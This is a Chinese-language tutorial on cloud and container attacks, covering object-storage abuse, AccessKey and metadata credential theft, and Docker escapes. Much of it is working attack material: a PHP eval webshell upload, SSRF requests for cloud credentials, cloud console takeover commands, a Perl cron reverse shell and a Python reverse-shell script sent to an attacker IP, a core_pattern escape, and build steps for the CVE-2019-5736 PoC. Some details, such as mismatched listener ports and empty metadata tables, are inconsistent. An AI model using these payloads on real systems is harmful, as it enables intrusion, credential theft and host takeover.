云服务与云原生攻防全解析:从对象存储风险到 K8s 容器逃逸
本文围绕云上服务与云原生攻防两大核心板块展开,先介绍云服务关键组件(含云服务、云数据库 RDS、身份访问管理 IAM、对象存储等)的定义与核心特性,再深入剖析云上安全风险:对象存储面临权限配置不当、域名解析接管、AccessKey 泄露等问题,弹性计算服务(ECS)存在元数据泄露与 SSRF 结合的漏洞,云数据库则有账号密码泄露、爆破及内外网访问风险,同时给出针对性防御建议;云原生攻防部分,详细说
云上攻防
云服务安全-基础解释
云服务(Cloud Service)
定义:基于互联网的服务交付模式,通过虚拟化技术将计算、存储、网络等资源池化,以动态扩展、按需付费的方式为用户提供服务。核心特征包括资源池化(多用户共享物理资源)、弹性伸缩(根据业务负载自动调整资源规格)、按需付费(按实际使用量计费,降低闲置成本)、服务可管理(云厂商提供控制台 / API 进行资源运维)。
通俗理解:无需自建物理机房,直接在阿里云、腾讯云等厂商平台购买服务器、存储等 “云上资源”,并通过互联网使用和管理这些资源。
云数据库(RDS - Relational Database Service)
定义:云上托管的关系型数据库服务,由云厂商负责数据库的部署、运维、备份、高可用保障(如主从架构、故障自动切换),用户仅需关注业务数据操作。支持 MySQL、SQL Server、PostgreSQL 等主流数据库引擎,提供性能监控、安全组防护、数据加密等附加能力。
通俗理解:无需本地搭建数据库服务器,直接在云上 “租用” 一个现成的数据库,云厂商帮你维护服务器稳定性和数据安全。
身份和访问管理(IAM)
定义:云厂商提供的统一身份权限管理服务,用于控制子账户对云上资源的访问范围,避免权限滥用。核心功能包括用户管理(创建子账户、角色)、权限策略(精细化配置资源操作权限,如仅允许查看 ECS 实例,不允许删除)、凭证管理(AccessKey、登录密码的创建与轮换)。
各厂商命名差异:
云厂商 | 产品名称 | 核心功能(统一) |
阿里云 | RAM | 用户管理、权限策略(精细化控制)、AccessKey 凭证管理 |
腾讯云 | CAM | 子账户 / 角色创建、资源操作权限配置、登录密码轮换 |
华为云 | IAM | 与通用 IAM 功能一致,支持企业级角色权限划分 |
亚马逊云(AWS) | IAM | 临时凭证生成、权限边界控制、多因素认证(MFA) |
微软云(Azure) | Azure AD | 含 IAM 功能,支持单点登录(SSO)、身份治理、条件访问控制 |
对象存储(Object Storage)
核心定义
定义:定位为海量非结构化数据(如图片、视频、日志、备份文件)设计的存储服务,数据以 “对象” 为基本单元存储(每个对象包含数据本身、元数据(如文件大小、创建时间)、唯一标识符(如 ObjectKey))。与传统文件存储(如 NAS)相比,无目录层级限制,支持无限扩容,访问速度快且成本低。
通俗理解:云上的 “超级网盘”,但更适合企业级海量数据存储,而非个人小文件管理。
各厂商产品命名
云厂商 | 产品名称 | 核心特性 |
阿里云 | OSS | 支持静态网站托管、CDN 加速、数据生命周期管理(自动归档冷数据) |
腾讯云 | COS | 集成腾讯云 CDN、直播点播服务,适合多媒体场景 |
华为云 | OBS | 支持跨区域复制、企业级数据加密,适配华为云鲲鹏生态 |
谷歌云 | GCS | 与谷歌云 BigQuery、Dataflow 等大数据服务深度集成 |
微软云(Azure) | Blob | 支持分层存储(热 / 冷 / 归档层),与 Azure Functions、Logic Apps 联动 |
亚马逊云(AWS) | S3 | 行业标杆,支持版本控制、跨区域复制、访问日志审计,生态工具丰富 |
核心概念:Bucket
Bucket(存储桶)是对象存储的 “顶层容器”,类似本地文件夹,用于隔离不同业务的对象数据。每个 Bucket 需满足:
- 全局唯一性:同一云厂商内,Bucket 名称不可重复(如阿里云 OSS 的 Bucket 名称全网唯一);
- 地域关联性:创建时需指定地域(如 “华东 2(上海)”),数据存储在对应地域的物理节点,访问时优先选择同地域资源降低延迟;
- 权限控制单元:Bucket 的 ACL(访问控制列表)、防盗链、生命周期规则等配置均作用于整个 Bucket。
云服务攻防-对象存储安全
风险 1:权限配置不当
Bucket ACL 权限类型及风险
Bucket ACL(Access Control List)是控制 Bucket 访问权限的核心配置,主流云厂商均支持以下 3 种基础权限,风险等级从低到高递增:
权限类型 | 核心权限范围 | 安全风险 |
私有 | 仅 Bucket 所有者及被授权的子账户可读写对象,匿名用户无任何权限 | 风险最低,符合最小权限原则,推荐默认配置 |
公共读 | 任何人(含匿名用户)可读取 Bucket 内对象(如下载图片、查看日志),但仅所有者可写入 | 风险中等:若存储敏感数据(如用户信息、未公开文档),可能导致数据泄露;若配置 |
公共读写 | 任何人(含匿名用户)可读写对象(如上传恶意文件、删除合法数据) | 风险极高:攻击者可通过 HTTP PUT 方法上传恶意脚本(如.php、.jsp),若 Bucket 绑定域名并开启解析,可能触发脚本执行(如 “恶意文件上传 + 解析” 漏洞);还可能导致数据被篡改或删除 |
通常有私有、公共读、公共读写
当配置为公共读,并且Bucket授权管理中配置了包含ListObject操作就会导致目录文件遍历
实战利用方法
- 公共读 + ListObject 导致目录遍历
- 前提:Bucket ACL 设为 “公共读”,且授权策略中包含
ListObjects(或ListObjectsV2)操作; - 利用步骤:访问对象的 “上一级目录 URL”(如原对象 URL 为
https://test.oss-cn-shanghai.aliyuncs.com/docs/1.pdf,则访问https://test.oss-cn-shanghai.aliyuncs.com/docs/),若返回该目录下所有文件列表(如1.pdf、2.pdf),则存在目录遍历; - 风险:攻击者可批量下载 Bucket 内所有公开文件,获取敏感信息。
- 公共读写导致恶意文件上传
- 前提:Bucket ACL 设为 “公共读写”;
- 利用步骤:
① 通过抓包工具(如 Burp Suite)将 HTTP 请求方法从GET改为PUT,构造上传请求(如上传evil.php,内容为<?php @eval($_POST['cmd']);?>);
② 若 Bucket 未绑定域名,默认仅存储文件不解析脚本(访问https://test.oss-cn-shanghai.aliyuncs.com/evil.php会下载文件而非执行);
③ 若用户为 Bucket 绑定了自定义域名(如cdn.test.com)并开启 “静态网站托管” 或 “CDN 解析”,则访问https://cdn.test.com/evil.php可执行恶意脚本,获取服务器权限;
PUT /lalala.php HTTP/1.1
Host: xxx.oss-cn-xxx.aliyuncs.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Length: 15
<?php @eval($_POST['cmd']);?>风险 2:域名解析接管
漏洞原理
当用户为 Bucket 绑定自定义域名(如static.test.com)时,会在 DNS 服务商(如阿里云 DNS、腾讯云 DNS)配置一条 CNAME 记录,将域名指向 Bucket 的官方域名(如test.oss-cn-shanghai.aliyuncs.com)。若用户删除 Bucket 后未删除 DNS 的 CNAME 记录,该域名会持续指向已不存在的 Bucket(返回NoSuchBucket错误),攻击者可通过 “创建同名 Bucket” 接管该域名的解析权。
漏洞判断与利用步骤
- 漏洞判断:
- 访问绑定域名(如
https://static.test.com),若页面返回NoSuchBucket错误(表示 Bucket 不存在); - 通过
nslookup或dig命令查看域名 CNAME 记录(如nslookup static.test.com),若返回云厂商 Bucket 域名(如*.oss-cn-shanghai.aliyuncs.com),则确认可接管; - 若访问返回
AccessDenied(表示 Bucket 存在但无访问权限),则无法接管。
- 实战利用(以阿里云为例):
- 步骤 1:在阿里云 OSS 控制台创建与原 Bucket 同名的 Bucket(如原 Bucket 名为
test,则创建test,地域需与原 Bucket 一致,否则 CNAME 解析可能失败); - 步骤 2:在新创建的 Bucket 中上传恶意文件(如钓鱼页面、恶意脚本);
- 步骤 3:用户访问
https://static.test.com时,会自动解析到攻击者创建的 Bucket,加载恶意内容; - 风险案例:若原域名是企业的 “官网下载地址” 或 “用户登录跳转地址”,接管后可分发钓鱼软件、窃取用户账号密码。
防御建议
- 删除 Bucket 前,先删除 DNS 中的 CNAME 记录;
- 定期审计域名解析记录,排查指向不存在资源的 CNAME;
- 为 Bucket 开启 “域名绑定校验”(部分云厂商支持,如阿里云 OSS 需验证域名所有权才能绑定)。
风险 3:AccessKey 泄露
AccessKey 作用与泄露场景
AccessKey(由 AccessKeyID 和 AccessKeySecret 组成)是云服务 API 调用的核心凭证,拥有该凭证的用户可通过 API 或工具(如 OSS Browser、云厂商 CLI)操作对应的云资源(如上传 / 删除 OSS 文件、创建 ECS 实例)。
常见泄露场景:
- 硬编码到代码中,随项目提交至 GitHub、GitLab 等公开代码仓库(攻击者可通过关键词搜索 “AccessKeyID”“OSS AccessKey” 找到);
- 前端 JS 代码中明文暴露(如为实现前端直传 OSS,将 AccessKey 写入前端脚本);
- APP / 小程序抓包或反编译(攻击者通过 Charles 抓包获取 API 请求中的 AccessKey,或反编译 APK 文件提取硬编码凭证);
- 日志文件泄露(运维人员误将含 AccessKey 的操作日志上传至公开平台);
- 邮件 / 聊天记录泄露(运维人员在沟通中误发 AccessKey)。
实战利用方法
- 工具选择:
- 图形化工具:OSS Browser(阿里云)、COS Browser(腾讯云)、S3 Browser(AWS S3);
- 命令行工具:阿里云 CLI(
aliyun oss ls)、腾讯云 CLI(tccli cos ls)、AWS CLI(aws s3 ls); - 渗透框架:CF(Cloud Exploit Framework,支持多厂商资源管理)。
- 利用步骤(以阿里云 OSS 为例):
- 步骤 1:在 OSS Browser 中配置泄露的 AccessKeyID 和 AccessKeySecret,选择对应的地域;
- 步骤 2:连接成功后,可查看 Bucket 列表、下载敏感文件(如数据库备份、用户数据)、上传恶意文件;
- 步骤 3:若 AccessKey 权限足够(如拥有
AliyunOSSFullAccess权限),可修改 Bucket ACL 为 “公共读写”,扩大攻击范围; - 进阶利用:通过 AccessKey 调用云厂商 API,获取 ECS 实例列表、RDS 数据库地址等信息,进行横向渗透。
防御建议
- 权限最小化:使用 RAM 子账户创建 AccessKey,仅授予必要权限(如仅允许 “OSS 只读”,不允许 “ECS 管理”);
- 定期轮换:每 3 个月更换一次 AccessKey,删除过期或无用的 AccessKey;
- 泄露检测:开启云厂商安全中心的 “AccessKey 泄露检测” 功能(如阿里云安全中心、腾讯云威胁情报),及时发现泄露并告警;
- 避免前端暴露:前端直传 OSS 时,使用 “临时 AccessKey”(通过后端 API 动态生成,有效期短,权限受限),而非永久 AccessKey。
云服务攻防-弹性计算服务安全
服务定义与命名
定义:云上的虚拟化服务器(虚拟机),用户可自定义 CPU、内存、硬盘、操作系统等配置,用于部署 Web 应用、数据库、中间件等业务。与传统物理服务器相比,支持分钟级创建 / 销毁,可通过 “弹性伸缩” 根据业务负载自动增减实例数量。
各厂商产品命名:
云厂商 | 产品名称 | 核心特性 |
阿里云 | ECS | 支持突发性能实例、GPU 实例、弹性裸金属服务器,适配阿里云生态(如 RDS、OSS) |
腾讯云 | CVM | 集成腾讯云安全组、云镜(主机安全)、负载均衡,适合游戏、直播场景 |
华为云 | ECS | 基于鲲鹏芯片的 ARM 架构实例,支持欧拉操作系统,侧重企业级稳定性 |
谷歌云 | GCE | 与谷歌云 Kubernetes Engine(GKE)深度集成,适合容器化部署 |
微软云(Azure) | VM | 支持 Windows Server、Linux 系统,与 Azure Active Directory、Office 365 联动 |
亚马逊云(AWS) | EC2 | 行业标杆,支持 Spot 实例(低价闲置资源)、Auto Scaling(弹性伸缩) |
核心风险:元数据泄露与 SSRF 结合
元数据(Instance Metadata)定义
实例元数据是云厂商为 ECS/CVM 实例生成的动态信息,包含实例的基本配置(如实例 ID、内网 IP、操作系统类型)、IAM 角色临时凭证(如临时 AccessKey)等。用户可在实例内部通过固定地址访问元数据,无需认证(默认仅允许实例内部访问)。
各厂商元数据地址:
云厂商 | 元数据访问地址 | 临时凭证路径(IAM 角色) |
阿里云 |
|
|
腾讯云 |
|
|
华为云 |
|
|
AWS |
|
|
漏洞原理:SSRF + 元数据泄露
若 ECS 实例上部署的 Web 应用存在 SSRF(服务器端请求伪造)漏洞,攻击者可构造请求,让 Web 应用(运行在实例内部)访问元数据地址,获取临时 AccessKey。由于临时 AccessKey 拥有 IAM 角色的权限,攻击者可利用该凭证操作云资源,实现横向渗透。
实战利用场景与步骤
场景 1:获取 ECS 权限后横向移动
- 前提:攻击者已通过 Web 漏洞(如 Webshell)获取 ECS 实例的 shell 权限;
- 利用步骤: 执行命令访问元数据地址,获取关键信息:
curl http://100.100.100.200/latest/meta-data/
获取临时凭据
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs
使用 CF 框架配置临时凭证,接管云资源:
cf config # 输入AccessKeyId、AccessKeySecret、SecurityToken、云厂商(如alibaba)
cf alibaba perm # 查看当前凭证的权限范围
cf alibaba console //一键接管控制台
接管控制台的时候默认会创建一个名称为 crossfire 的用户,如果想改成其他用户名可以使用 -u 参数
cf alibaba console -u lalala
使用以下命令列出当前凭证权限以及可以执行的操作
cf alibaba perm // 一键列出阿里云的凭证权限
cf tencent perm // 一键列出腾讯云的凭证权限
cf huawei perm // 一键列出华为云的凭证权限
cf alibaba oss ls 列出OSS资源
cf alibaba ecss ls 列出ECS资源
cf alibaba ecs exec 在ECS上执行命令
cf alibaba rds ls 列出RDS资源
cf alibaba oss obj get 下载存储桶里的对象
cf alibaba oss obj get -b bucketName 指定存储桶
cf alibaba oss obj get -b bucketName -k objectName 指定存储桶以及对象
cf alibaba oss obj get -o ./result 保存到指定目录
具体cf使用命令可以参考:https://wiki.teamssix.com/cf/场景 2:通过 SSRF 漏洞获取临时 AK
- 前提:Web 应用存在 SSRF 漏洞(如允许用户输入 URL 并由服务器发起请求);
- 利用步骤:
- 构造 SSRF 请求,访问元数据的临时凭证路径(以阿里云为例):
# 假设Web应用的SSRF接口为http://target.com/ssrf?url=xxx
构造请求:http://target.com/ssrf?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs-admin- 若 SSRF 漏洞可回显结果,攻击者可直接获取临时 AccessKey;
- 若不可回显,可将临时 AK 发送至攻击者控制的服务器(如通过 DNSlog 或 HTTP 请求外带);
- 防御建议:
- 限制 ECS 实例元数据的访问范围(部分云厂商支持,如 AWS 可通过 IAM 策略禁止特定角色访问元数据);
- 修复 Web 应用的 SSRF 漏洞,禁止请求内网地址(如
100.100.100.0/24、169.254.0.0/16); - 为 IAM 角色配置最小权限,避免临时 AK 泄露后导致大规模资源被控制。
云数据库安全风险
风险 1:账户密码泄露与爆破
密码泄露场景
- 配置文件泄露:Web 应用的配置文件(如
application.properties、config.php)中硬编码数据库账号密码,攻击者通过文件读取漏洞(如任意文件读取)获取; - 日志泄露:数据库操作日志(如 MySQL 的 general_log)中记录账号密码,日志文件被误暴露在 Web 目录下;
- 弱口令:使用简单密码(如
root/123456、admin/admin),或密码与用户名一致,易被暴力破解。
爆破工具与防御
- 常用工具:Hydra(支持 MySQL、SQL Server、PostgreSQL 等多种数据库爆破)、Medusa、Navicat(自带爆破功能,需手动配置字典);
- 防御建议:
- 使用强密码(长度≥12 位,包含大小写字母、数字、特殊符号);
- 禁止数据库账号密码硬编码,通过环境变量或配置中心(如 Nacos)动态获取;
- 限制数据库登录 IP(通过云数据库的 “安全组” 配置,仅允许应用服务器 IP 访问);
- 开启数据库的 “登录失败锁定” 功能(如 MySQL 的
max_connect_errors参数,多次失败后锁定账号)。
风险 2:数据库连接方式与内网转发
云数据库默认配置为 “内网访问”(仅允许同一 VPC 内的 ECS 实例访问),若需外网访问,需手动开启 “外网地址” 并配置 IP 白名单。两种连接场景的风险与利用方式如下:
连接场景 | 访问条件 | 利用方式 |
内网访问(默认) | 仅允许同一 VPC 内的 ECS 实例访问,无外网地址 | 攻击者需先获取 VPC 内某台 ECS 的权限(如 Webshell),通过该 ECS 作为 “跳板”,使用端口转发工具(如 frp、ssh 隧道)连接数据库: ① 在 ECS 上启动 frp 客户端,将数据库端口(如 3306)转发至攻击者的公网服务器; ② 攻击者在本地使用 Navicat 连接转发后的端口,访问数据库 |
外网访问(开启) | 已开启外网地址,且 IP 白名单包含攻击者 IP | 直接使用 Navicat、MySQL CLI 等工具连接数据库(如 |
防御建议 | 1. 优先使用内网访问,禁止开启外网地址; 2. 若需外网访问,IP 白名单仅添加必要的办公网 IP; 3. 使用数据库加密连接(如 MySQL 的 SSL 加密),避免密码在传输过程中被窃取 |
风险 3:AK 利用与后渗透
若攻击者获取了拥有 RDS 权限的 AccessKey(如通过元数据泄露、代码泄露),可通过 CF 框架进行后渗透:
- 配置 AK 并查看 RDS 实例信息:
cf config # 输入AccessKeyId、AccessKeySecret、云厂商(如alibaba)
cf alibaba rds ls # 列出所有RDS实例,获取实例ID、内网地址、端口- 调用 RDS API 执行操作(需对应权限):
- 查看数据库账号列表:
cf alibaba rds list-accounts --db-instance-id 实例ID; - 重置数据库密码:
cf alibaba rds reset-account-password --db-instance-id 实例ID --account-name root --new-password 新密码; - 导出数据库数据:通过 API 调用 RDS 的 “数据备份” 功能,下载备份文件并解析;
- 防御建议:限制 AccessKey 的 RDS 权限,仅允许 “查看” 权限,禁止 “修改密码”“导出数据” 等高危操作。
二、云原生攻防
Docker 容器安全
目前docker主要面临以下风险
风险 1:不安全的第三方组件与镜像
- 漏洞组件风险:
- 原理:若 Docker 镜像中包含存在漏洞的组件(如 Log4j2(CVE-2021-44228)、Struts2(CVE-2017-5638)),或组件长期未更新(如 OpenSSL 旧版本存在心脏出血漏洞),攻击者可利用组件漏洞获取容器权限;
- 案例:某业务镜像基于 Ubuntu 18.04,内置的 Apache HTTP Server 版本为 2.4.18(存在路径穿越漏洞 CVE-2021-41773),攻击者通过该漏洞读取容器内敏感文件;
- 防御:使用 “镜像扫描工具”(如 Trivy、Clair)检测镜像中的漏洞组件;定期更新基础镜像和组件,避免使用 EOL(停止支持)的操作系统版本(如 Ubuntu 16.04)。
- 恶意镜像风险:
- 原理:公共镜像仓库(如 Docker Hub)中存在 “投毒镜像”,镜像内隐藏后门(如反弹 shell 脚本)或挖矿程序,用户下载并运行后,容器被控制,宿主机资源被占用;
- 识别方法:
① 查看镜像历史记录:docker history 镜像名,检查是否有异常命令(如ADD backdoor.sh /、RUN crontab -l | grep miner);
② 查看镜像大小:异常镜像可能包含挖矿程序,体积比正常镜像大(如正常 nginx 镜像约 100MB,投毒镜像可能达 500MB); - 防御:优先使用官方镜像(如
nginx:latest而非第三方用户上传的xxx/nginx);私有镜像仓库(如 Harbor)中存储业务镜像,禁止直接使用公共镜像。
- 敏感信息泄露风险:
- 原理:开发者为调试方便,将数据库账号密码、AccessKey 等敏感信息硬编码到 Dockerfile 中(如
ENV DB_PASSWORD=123456),或打包到镜像内的配置文件中,攻击者获取镜像后可提取这些信息; - 提取方法:
① 将镜像保存为 tar 包:docker save 镜像名 -o 镜像.tar;
② 解压 tar 包,查看layer.tar中的配置文件(如/etc/config/application.properties);
③ 使用工具(如docker inspect 镜像名)查看镜像的环境变量,获取敏感信息; - 防御:通过 Docker Secrets(Docker Swarm)或 K8s Secrets 存储敏感信息,避免硬编码;Dockerfile 中使用
.dockerignore排除敏感文件(如config.yaml、credentials.json)。
风险 2:活动容器的配置风险
- 不安全的端口映射:
- 原理:运行容器时使用
-p 宿主端口:容器端口映射端口,若将容器内的数据库端口(如 3306)、Web 服务端口(如 8080)映射到宿主机公网 IP,且服务存在弱口令或漏洞,攻击者可直接访问并利用; - 案例:
docker run -d -p 0.0.0.0:3306:3306 mysql:5.7(将 MySQL 3306 端口映射到宿主机公网),且 MySQL root 密码为123456,攻击者通过 Hydra 爆破密码后,删除或篡改数据库数据; - 防御:端口映射时指定内网 IP(如
-p 192.168.1.100:3306:3306),避免公网暴露;映射的宿主端口使用非默认端口(如-p 33060:3306),降低被扫描发现的概率。
- 不受限制的资源共享:
- 原理:Docker 通过 cgroups(控制组)限制容器的 CPU、内存、硬盘 IO 等资源,若未配置资源限制,容器可能因业务异常(如死循环、大量日志写入)耗尽宿主机资源,导致宿主机宕机;
- 案例:运行容器时未限制内存,容器内的 Java 应用因内存泄漏占用宿主机 100% 内存,导致其他容器和宿主机服务崩溃;
- 防御:运行容器时配置资源限制:
docker run -d --name app --memory=2g --cpus=1 nginx # 限制内存2GB,CPU 1核
docker run -d --name db --storage-opt size=10g mysql # 限制硬盘使用10GB风险 3:不安全的容器配置与挂载
Docker 容器的隔离依赖 Linux Namespace(命名空间)和 cgroups,若运行容器时使用以下不安全配置,会打破隔离机制,导致容器逃逸(获取宿主机权限):
不安全配置 | 作用原理 | 风险后果 |
| 为容器授予所有 Linux 能力(如 CAP_SYS_ADMIN、CAP_NET_RAW),容器内的 root 权限与宿主机 root 权限等效 | 容器内可执行 |
| 容器不创建独立网络命名空间,直接使用宿主机的网络栈(网卡、端口、路由表) | 容器内可查看和修改宿主机网络配置(如关闭宿主机防火墙);若容器内有恶意程序,可伪装成宿主机进程发起网络攻击 |
| 容器不创建独立进程命名空间,可查看和操作宿主机的所有进程 | 容器内可通过 |
| 将宿主机根目录( | 容器内可直接修改宿主机文件(如 |
检测方法:
- 查看容器配置:
docker inspect 容器ID | grep -E "Privileged|NetMode|PidMode|Mounts"; - 容器内自查:
cat /proc/self/status | grep -i capeff(--privileged容器的CapEff为0000003fffffffff,非特权容器为受限值如00000000a80425fb)。
风险 4:容器管理接口风险
Docker 守护进程(dockerd)是管理容器的核心进程,通过 UNIX socket(默认)或 TCP socket 与客户端通信,两种接口均存在安全风险:
- UNIX socket 风险(默认路径
/var/run/docker.sock):
- 权限特性:UNIX socket 的默认权限为
root:docker(用户root和组docker可访问),若普通用户被添加到docker组,该用户可通过docker命令操作容器; - 利用场景 1:普通用户提权
① 攻击者获取普通用户权限(如ubuntu),且该用户属于docker组;
② 运行特权容器并挂载宿主机根目录:docker run -it --privileged -v /:/host alpine;
③ 在容器内切换到宿主机根目录:chroot /host,获取宿主机 root 权限; - 利用场景 2:UNIX socket 挂载到容器内
① 运行容器时挂载/var/run/docker.sock:docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu;
② 若该容器被入侵,攻击者在容器内安装docker客户端:apt-get install -y docker-ce-cli;
③ 通过docker命令控制宿主机容器:docker run -it -v /:/host alpine(创建新容器挂载宿主机根目录,实现逃逸); - 防御:
① 严格控制docker组的用户,仅允许必要的运维人员加入;
② 禁止将/var/run/docker.sock挂载到容器内,除非业务必需且已做严格权限控制。
- TCP socket 风险:
- 原理:Docker 默认不开启 TCP socket,若用户为方便远程管理,修改
dockerd配置开启 TCP socket(如--host tcp://0.0.0.0:2375),且未配置认证和加密,攻击者可通过docker -H 目标IP:2375直接接管宿主机容器; - 检测方法:
nmap -p 2375 目标IP(若端口开放,且curl http://目标IP:2375/version返回 Docker 版本信息,则存在风险); - 利用步骤:
docker -H 192.168.10.128:2375 ps # 查看宿主机所有容器
docker -H 192.168.10.128:2375 exec -it 容器ID bash # 进入目标容器
docker -H 192.168.10.128:2375 run -it -v /:/host alpine # 创建容器挂载宿主机根目录,逃逸- 防御:禁止开启 TCP socket;若必需开启,需配置 TLS 加密(
--tlsverify --tlscacert=ca.pem --tlscert=server.pem --tlskey=server-key.pem),仅允许持有合法证书的客户端访问。
Docker 漏洞利用
Docker 逃逸技术详解
虚拟环境判断
在进行逃逸前,需先判断当前环境是否为 Docker 容器(避免在物理机 / 虚拟机上无效操作),常用方法如下:
判断方法 | 操作命令 | Docker 环境特征 | 物理机 / 虚拟机特征 | |
查看 cgroup 信息 | cat /proc/1/cgroup | 输出包含/docker/容器ID(如/sys/fs/cgroup/memory/docker/abc123...)或/kubepods/(K8s 容器) | 输出无docker或kubepods关键词,如/sys/fs/cgroup/memory/user.slice/ | |
检查.dockerenv文件 | ls -alh /.dockerenv | 存在该文件(Docker/K8s 容器默认创建,用于标识容器环境) | 不存在该文件 | |
查看文件系统类型 | mount | grep '/ type' | 根文件系统类型为overlay或overlay2(Docker 默认存储驱动) | 根文件系统类型为ext4、xfs等传统文件系统 | |
查看 hostname | hostname | hostname 为容器 ID 的前 12 位(如abc123def4567) | hostname 为自定义名称(如server-01) |
1.查看cgroup信息(存在权限问题,权限不够可能无法查看)
cat /proc/1/cgroup
docker环境下
K8s(kubepods)环境下
虚拟机环境下
2.检查根目录是否存在.dockerenv文件
K8s&docker环境下:ls -alh /.dockerenv 可以找到文件。
虚拟机环境下
docker环境下
3.检查mount信息
mount | grep '/ type'
K8s&docker环境下
虚拟机环境下
4.查看硬盘信息
K8s&docker环境下
虚拟机环境下
5.查看文件系统以及挂载点
K8s&docker环境下
虚拟机环境下
docker环境下
逃逸方法 1:特权容器逃逸(--privileged=true)
原理:特权容器拥有宿主机的所有 Linux 能力,可通过挂载宿主机硬盘分区,修改宿主机文件(如定时任务)实现逃逸。
实战步骤(以 Ubuntu 宿主机为例):
- 确认容器为特权模式
cat /proc/self/status | grep -i capeff
# 输出0000003fffffffff或者000001ffffffffff确认是特权容器
- 查看宿主机硬盘分区:
fdisk -l
# 找到宿主机根分区,通常为/dev/vda3(或/dev/sda3,根据虚拟化环境不同)
- 挂载宿主机根分区到容器内:
mkdir /test # 在容器内创建挂载目录
mount /dev/vda3 /test # 将宿主机根分区挂载到/test
- 写入定时任务反弹宿主机 root 权限:
# Ubuntu定时任务路径为/var/spool/cron/crontabs/root,CentOS为/var/spool/cron/root
echo $'* * * * * perl -e \'use Socket;$i="192.168.10.132";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
//$'...':使用 ANSI-C 引号,允许转义字符(如 \n、\')。
//perl -e '...':执行 Perl 代码(-e 表示直接执行代码,而非脚本文件)
//socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); 创建 TCP Socket:
一分钟后,就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限- 攻击者在本地开启监听
nc -lvvp 6666 逃逸方法 2:挂载 Docker Socket 逃逸
原理:若容器内挂载了宿主机的/var/run/docker.sock,攻击者可在容器内通过docker命令创建新容器,挂载宿主机根目录实现逃逸。
实战步骤:
- 检测容器内是否挂载 Docker Socket:
ls -lah /var/run/docker.sock
# 输出srw-rw---- 1 root root 0 Aug 10 00:00 /var/run/docker.sock,确认存在
- 在容器内安装 Docker 客户端(以 Ubuntu 为例):
apt-get update && apt-get install -y docker-ce-cli- 验证 Docker 客户端是否可用:
docker -H unix:///var/run/docker.sock ps
# 输出宿主机所有容器列表,确认连接成功- 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
可以成功读取到宿主机文件内容
- 在新容器内切换到宿主机根目录,获取宿主机 root 权限:
chroot /host # 此时命令行提示符变为宿主机的root提示符(如root@server-01:/#)逃逸方法 3:挂载宿主机 procfs 逃逸
原理:procfs是 Linux 的伪文件系统,动态反映进程状态,其中/proc/sys/kernel/core_pattern用于配置进程崩溃时的核心转储(core dump)路径。若宿主机的procfs被挂载到容器内,且core_pattern配置为 “管道符 + 程序路径”,攻击者可修改该文件,让进程崩溃时执行恶意脚本,获取宿主机权限。
实战步骤:
- 检测是否挂载宿主机 procfs:
find / -name core_pattern # 若输出两个路径(如/host/proc/sys/kernel/core_pattern和/proc/sys/kernel/core_pattern)就确认挂载
- 找到容器在宿主机的绝对路径(用于指定恶意脚本位置):
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# 输出如/var/lib/docker/overlay2/fd6903effe98fe4bb41c9a3e78d6219c049f9a6152cb4289d8706945a935be3b/merged(容器在宿主机的根目录路径)
- 创建 Python 反弹 shell 脚本(
/tmp/.z.pycat >/tmp/.z.py << EOF
#!/usr/bin/python3
import os
import pty
import socket
lhost = "攻击者IP"
lport = 监听端口
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py') //运行后自删除
s.close()
if __name__ == "__main__":
main()
EOF
- 赋予脚本执行权限:
chmod 777 /tmp/.z.py- 写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/fd6903effe98fe4bb41c9a3e78d6219c049f9a6152cb4289d8706945a935be3b/merged/tmp/.z.py \rcore " > /host/proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
cat >/tmp/z.c << EOF
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
EOF
容器编译c程序
gcc z.c -o z
攻击机开启监听nc -lvvp 6666
容器运行程序
./z
- 编译并运行崩溃程序,触发反弹shell
- 攻击者获取宿主机 root shell,逃逸成功。
逃逸方法 4:Docker 自身漏洞逃逸(CVE-2019-5736)
漏洞原理:Docker 版本≤18.09.2、runc 版本≤1.0-rc6 时,runc(Docker 的容器运行时)存在文件覆盖漏洞。攻击者可在容器内覆盖宿主机的runc二进制文件,当管理员执行docker exec进入容器时,会触发恶意runc执行,获取宿主机 root 权限。
实战步骤:
- 检测漏洞是否存在:
docker --version # 若版本≤18.09.2,runc版本≤1.0-rc6,存在漏洞
runc --version- 下载漏洞利用脚本(PoC):
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
cd CVE-2019-5736-PoC- 修改 PoC 中的反弹 shell 命令
- 编译 PoC(需本地安装 Go 环境,可以在受害机进行编译,也可以在本机编译在上传受害机,建议本机编译受害主机不一定有go环境和gcc当场安装产生的流量过大容易被察觉):
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go # 生成linux-amd64架构的可执行文件- 将编译后的main上传到容器内,赋予执行权限:
chmod +x main- 攻击者本地开启监听:
nc -lvvp 6666- 在容器内运行 PoC:
./main- 等待管理员执行
